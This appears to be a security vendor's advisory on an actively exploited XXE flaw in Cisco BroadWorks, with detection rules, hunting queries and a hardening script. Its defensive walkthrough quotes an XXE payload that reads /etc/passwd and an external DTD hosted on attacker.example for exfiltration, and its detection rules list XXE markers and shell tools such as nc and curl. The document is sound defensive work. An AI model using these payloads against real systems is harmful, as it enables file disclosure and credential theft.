On November 10, 2026, CISA added CVE-2026-20320 to the Known Exploited Vulnerabilities (KEV) catalog, confirming what many of us in incident response have suspected since reports began circulating: a critical Improper Restriction of XML External Entity (XXE) Reference vulnerability in Cisco BroadWorks is being actively exploited in the wild right now.
This is not a theoretical risk. An unauthenticated, remote attacker can leverage this flaw to read sensitive configuration information from affected BroadWorks systems — which, in the service provider world, means SIP credentials, trunk configurations, subscriber data mappings, integration secrets, and the internal network topology of carrier-grade voice infrastructure. If you operate BroadWorks Application Servers, Network Servers, or Xtended Services Platforms (XSP) — particularly anything with interfaces exposed beyond your management plane — treat this as an active incident until proven otherwise.
CISA's required action under BOD 26-04 (Prioritizing Security Updates Based on Risk) is explicit: apply vendor mitigations immediately, comply with CISA's Forensics Triage Requirements, and if mitigations are unavailable for your deployment model, discontinue use of the product. For federal civilian agencies this is binding; for everyone else, it is the clearest risk signal you will get.
Technical Analysis
Affected Product
Cisco BroadWorks is Cisco's carrier-grade VoIP application delivery platform, deployed overwhelmingly by telecommunications service providers, MSPs, and large enterprises for hosted PBX, SIP trunking, and unified communications services. The platform typically runs on Red Hat Enterprise Linux–based appliances with Tomcat-hosted web applications handling provisioning, device management, and external integrations.
The vulnerability resides in how BroadWorks processes XML input on remotely reachable interfaces. XML parsers that do not properly restrict external entity references (CWE-611) will resolve attacker-supplied SYSTEM identifiers — allowing the parser itself to fetch and disclose local files or reach out to arbitrary internal/external endpoints.
How the Attack Works (Defender's View)
The attack chain for a classic XXE against this class of platform looks like this:
- Reconnaissance — The attacker identifies an exposed BroadWorks web interface (commonly XSP/portal servlets or provisioning endpoints that accept XML payloads, often over HTTPS on ports 443/8443).
- Payload delivery — A crafted XML body is POSTed containing a
DOCTYPEdeclaration with an external entity, e.g.<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>targeting configuration files under the BroadWorks installation tree (/usr/local/broadworks/...) or OS-level files. - Server-side resolution — The vulnerable parser resolves the entity and embeds the file contents in the response or an error message, returning sensitive configuration data to the attacker.
- Optional OOB exfiltration — Where responses are sanitized, attackers use parameter entities and external DTDs (
SYSTEM "http://attacker.example/evil.dtd") to force out-of-band DNS/HTTP exfiltration of file contents to attacker-controlled infrastructure. This also enables server-side request forgery (SSRF) into the provider's internal management network. - Post-exploitation — Harvested credentials (database strings, LDAP bind accounts, SIP auth secrets) are reused for lateral movement, subscriber data access, or toll fraud.
Critically: no authentication and no user interaction are required. Any unauthenticated interface that parses attacker-controlled XML is fair game.
Exploitation Status
- CISA KEV: Added 2026-11-10 — confirmed active exploitation in the wild.
- CVSS: Refer to Cisco's official security advisory for the published base score and fixed release identifiers for your train. Given unauthenticated remote file disclosure on carrier infrastructure, treat severity as critical regardless of the final numeric score.
- CISA required actions: Apply vendor mitigations; adhere to BOD 26-04 and CISA's Forensics Triage Requirements (preserve evidence before patching where feasible); discontinue use if no mitigation exists for your deployment.
The KEV listing means exploitation tooling is operational, not experimental. Assume scanning is widespread and that any internet-reachable BroadWorks XML endpoint has already been probed.
Detection & Response
The highest-fidelity detection surface for XXE is the request body itself: DOCTYPE declarations and ENTITY definitions have no legitimate business in production XML submitted to BroadWorks provisioning or portal interfaces from untrusted sources. Secondary surfaces include egress traffic from the application servers (OOB exfiltration / SSRF) and post-exploitation process behavior on the Linux hosts.
Sigma Rules
---
title: XXE Payload in HTTP Request Body Targeting BroadWorks Interfaces
id: 3f8a2c41-7b6d-4e19-9a2b-c5d8e1f60473
status: experimental
description: Detects XML External Entity injection attempts against Cisco BroadWorks web interfaces by matching DOCTYPE/ENTITY declarations with SYSTEM identifiers in HTTP request bodies forwarded from WAF, reverse proxy, or load balancer logs.
references:
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-20320
- https://attack.mitre.org/techniques/T1190/
author: Security Arsenal
date: 2026/11/12
tags:
- attack.initial_access
- attack.t1190
logsource:
category: proxy
detection:
selection_doctype:
cs-method: 'POST'
cs-body|contains:
- '<!DOCTYPE'
- '<!ENTITY'
selection_system:
cs-body|contains:
- 'SYSTEM'
- 'file:///'
- 'file://'
- 'expect://'
- 'php://filter'
condition: selection_doctype and selection_system
falsepositives:
- Legitimate SOAP/XML integrations using internal DTDs (extremely rare in BroadWorks provisioning traffic; baseline and whitelist known integration partners by source IP)
level: high
---
title: Out-of-Band XXE Exfiltration - BroadWorks Server Egress to External Host
id: 8c1d5e92-4a37-4f6b-b3d9-2e7a1c8f5096
status: experimental
description: Detects outbound HTTP or DNS connections originating from BroadWorks application/XSP server subnets to untrusted external destinations, consistent with XXE out-of-band data exfiltration or SSRF. BroadWorks servers should have tightly controlled egress.
references:
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-20320
- https://attack.mitre.org/techniques/T1048/
author: Security Arsenal
date: 2026/11/12
tags:
- attack.exfiltration
- attack.t1048
logsource:
category: firewall
detection:
selection_source:
src_ip|cidr:
- '10.0.0.0/8' # REPLACE: scope to your BroadWorks server VLANs/subnets
selection_dst_port:
dst_port:
- 80
- 443
- 53
filter_known_good:
dst_ip|cidr:
- '10.0.0.0/8' # REPLACE: internal ranges, Cisco update/licensing endpoints, NTP/DNS infrastructure
condition: selection_source and selection_dst_port and not filter_known_good
falsepositives:
- Legitimate software update, licensing, and OCSP traffic - build an allowlist of known-good destinations before enabling
level: medium
---
title: Post-Exploitation Shell Spawned by BroadWorks Java/Tomcat Process
id: b7e4f1a6-93c2-4d58-a1e6-6c3b9d027415
status: experimental
description: Detects shell or command interpreter processes spawned by Java/Tomcat on BroadWorks Linux hosts, indicating post-XXE command execution or webshell activity following initial access.
references:
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-20320
- https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/11/12
tags:
- attack.execution
- attack.t1059.004
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|contains:
- '/java'
- '/jsvc'
- 'tomcat'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/curl'
- '/wget'
- '/python'
- '/perl'
- '/nc'
- '/ncat'
condition: selection_parent and selection_child
falsepositives:
- BroadWorks maintenance scripts invoked by the platform - validate against known maintenance windows and script paths before tuning
level: high
KQL — Microsoft Sentinel / Defender
This query hunts XXE payloads in web traffic ingested into Sentinel via CEF/Syslog from WAFs, load balancers (F5, NetScaler), or reverse proxies fronting BroadWorks XSP interfaces. Adjust table and field names to your connector.
// Hunt for XXE injection attempts against BroadWorks web interfaces
// Ingests: WAF/LB/reverse-proxy logs via CEF or Syslog
let xxe_markers = dynamic(["<!DOCTYPE", "<!ENTITY", "SYSTEM", "file:///", "php://filter", "expect://"]);
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where RequestMethod =~ "POST"
| extend Body = tostring(coalesce(AdditionalExtensions, RequestContext, Message))
| where Body has_any (xxe_markers)
| where Body has "DOCTYPE" and Body has "ENTITY"
| summarize Attempts = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated),
TargetURLs = make_set(RequestURL, 25)
by SourceIP, DestinationHostName
| order by Attempts desc;
// Correlate with egress connections from BroadWorks server subnets (OOB exfil / SSRF)
let bw_servers = dynamic(["10.10.20.0/24"]); // REPLACE with your BroadWorks server subnets
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where ipv4_is_in_range(SourceIP, tostring(bw_servers[0]))
| where DeviceAction in ("allow", "allowed", "Accept")
| where not(ipv4_is_private(DestinationIP))
| summarize Connections = count(), Ports = make_set(DestinationPort, 20)
by SourceIP, DestinationIP, DestinationHostName
| order by Connections desc;
Velociraptor VQL
Use this artifact to sweep BroadWorks hosts for XXE indicators in Tomcat/web access logs and to inventory network connections from the Java processes — useful for both hunting and CISA Forensics Triage evidence collection.
-- CVE-2026-20320 BroadWorks XXE triage: search web logs for XXE payloads
-- and enumerate Java process network connections for OOB exfiltration
LET log_hits = SELECT FullPath, Line, LineNumber
FROM foreach(
row={
SELECT FullPath FROM glob(globs=[
'/usr/local/broadworks/**/logs/*.log',
'/usr/local/broadworks/**/logs/*.txt',
'/var/log/tomcat*/localhost_access_log*.txt',
'/var/log/nginx/*.log',
'/var/log/httpd/*access*log*'
])
},
query={
SELECT FullPath, Line, LineNumber
FROM parse_lines(filename=FullPath)
WHERE Line =~ '<!ENTITY|<!DOCTYPE|SYSTEM "file:|SYSTEM \'file:|php://filter'
})
LET java_net = SELECT Pid, Name, CommandLine, Family, Type, Status,
LaddrIP, LaddrPort, RaddrIP, RaddrPort
FROM netstat()
WHERE Name =~ 'java|jsvc'
AND Status =~ 'ESTABLISHED'
AND NOT RaddrIP =~ '^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)'
SELECT * FROM log_hits
UNION ALL
SELECT FullPath=NULL, Line=format(format='Java egress: %v:%v -> %v:%v',
args=[LaddrIP, LaddrPort, RaddrIP, RaddrPort]),
LineNumber=Pid FROM java_net
Remediation
Immediate Actions (Next 24 Hours)
- Apply Cisco's fix per the official advisory. Pull the advisory and patched software directly from Cisco's Security Advisories portal (
https://sec.cloudapps.cisco.com/security/center/publicationListing.x) and the KEV entry. Verify the fixed release for your specific BroadWorks train before scheduling the maintenance window — do not assume a single patch covers all versions. - Remove internet exposure of BroadWorks XML-processing interfaces. XSP/portal and provisioning endpoints should sit behind access-controlled reverse proxies with source-IP allowlisting. Nothing on a BroadWorks application server should be directly reachable from the public internet.
- Preserve forensic evidence BEFORE patching, per CISA's Forensics Triage Requirements: capture web/access logs, Tomcat logs, authentication logs, and a memory/disk image of any host showing the indicators above. Patching destroys volatile evidence.
- Hunt retroactively. Run the KQL and VQL above across at least the last 90 days. XXE file disclosure is quiet — you will not find it in authentication logs.
Verification and Hardening Script
#!/bin/bash
# CVE-2026-20320 - Cisco BroadWorks XXE verification & hardening helper
# Run as root on each BroadWorks Application/Network/XSP server
echo "=== [1] BroadWorks version inventory ==="
# Record installed BroadWorks version for comparison against Cisco fixed releases
if [ -d /usr/local/broadworks ]; then
grep -ri "version" /usr/local/broadworks/*/conf/version* 2>/dev/null | head -5
ls /usr/local/broadworks/ 2>/dev/null
fi
rpm -qa 2>/dev/null | grep -i broadworks | sort
echo "=== [2] Hunting XXE indicators in web/Tomcat logs (last 90 days) ==="
find /usr/local/broadworks /var/log/tomcat* /var/log/nginx /var/log/httpd \
-type f \( -name "*.log" -o -name "*.txt" \) -mtime -90 2>/dev/null \
| xargs grep -l "DOCTYPE\|ENTITY.*SYSTEM\|php://filter\|expect://" 2>/dev/null \
| tee /tmp/xxe_suspect_logs.txt
echo "Suspect logs written to /tmp/xxe_suspect_logs.txt - escalate to IR if non-empty"
echo "=== [3] Checking for unexpected egress from Java processes (OOB exfil) ==="
ss -tnp 2>/dev/null | grep -E "java|jsvc" | grep -vE "10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\."
echo "=== [4] Egress lockdown (defense-in-depth while patching is scheduled) ==="
# Block outbound web/DNS from the BroadWorks host except approved infra.
# REVIEW before applying - adjust ALLOWED to your update/licensing/DNS servers.
# iptables -A OUTPUT -p tcp -m multiport --dports 80,443 -d <CISCO_UPDATE_IP> -j ACCEPT
# iptables -A OUTPUT -p udp --dport 53 -d <INTERNAL_DNS_IP> -j ACCEPT
# iptables -A OUTPUT -p tcp -m multiport --dports 80,443 -j REJECT --reject-with tcp-reset
# iptables -A OUTPUT -p udp --dport 53 -j REJECT
echo "Egress rules are COMMENTED by default - tailor and uncomment deliberately."
echo "=== [5] XML parser hardening verification ==="
# If BroadWorks config exposes parser settings, confirm external DTD/entity
# resolution is disabled. Also verify at the reverse proxy/WAF layer that
# requests containing DOCTYPE/ENTITY are dropped before reaching BroadWorks.
grep -ri "disallow-doctype\|external-general-entities\|load-external-dtd" \
/usr/local/broadworks/*/conf/ 2>/dev/null | head -10
echo "=== DONE. Retain this output and /tmp/xxe_suspect_logs.txt for CISA triage. ==="
Strategic Remediation
- WAF/virtual patching: Deploy rules blocking request bodies containing
<!DOCTYPEor<!ENTITYon all paths fronting BroadWorks. This is a valid compensating control but not a substitute for the vendor patch — entity encoding variants can bypass naive filters. - Segment the management plane: BroadWorks servers should sit in a dedicated VLAN with east-west restrictions. XXE-enabled SSRF is only as damaging as the internal network it can reach.
- Credential rotation: If any host shows confirmed XXE hits, rotate every credential readable from that filesystem — database strings, LDAP binds, SIP trunk auth, API keys. Assume disclosure.
- BOD 26-04 compliance: Federal civilian agencies must remediate within the KEV-mandated timeline and document actions. Private-sector operators should adopt the same deadline as internal SLA — KEV addition reliably precedes mass exploitation.
- Report: If you confirm compromise, report to CISA (report@cisa.gov) and engage your IR retainer. BroadWorks environments sit on critical communications infrastructure and frequently intersect with lawful-intercept and subscriber-data obligations.
The pattern here is familiar to anyone who responded to the last decade of XML parser flaws: unauthenticated file disclosure on infrastructure that providers forget is internet-adjacent. The difference now is confirmation — CISA doesn't add CVEs to the KEV on speculation. Patch BroadWorks, pull it off the public internet, and hunt backward before someone else's log review tells you what you missed.
Related Resources
Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.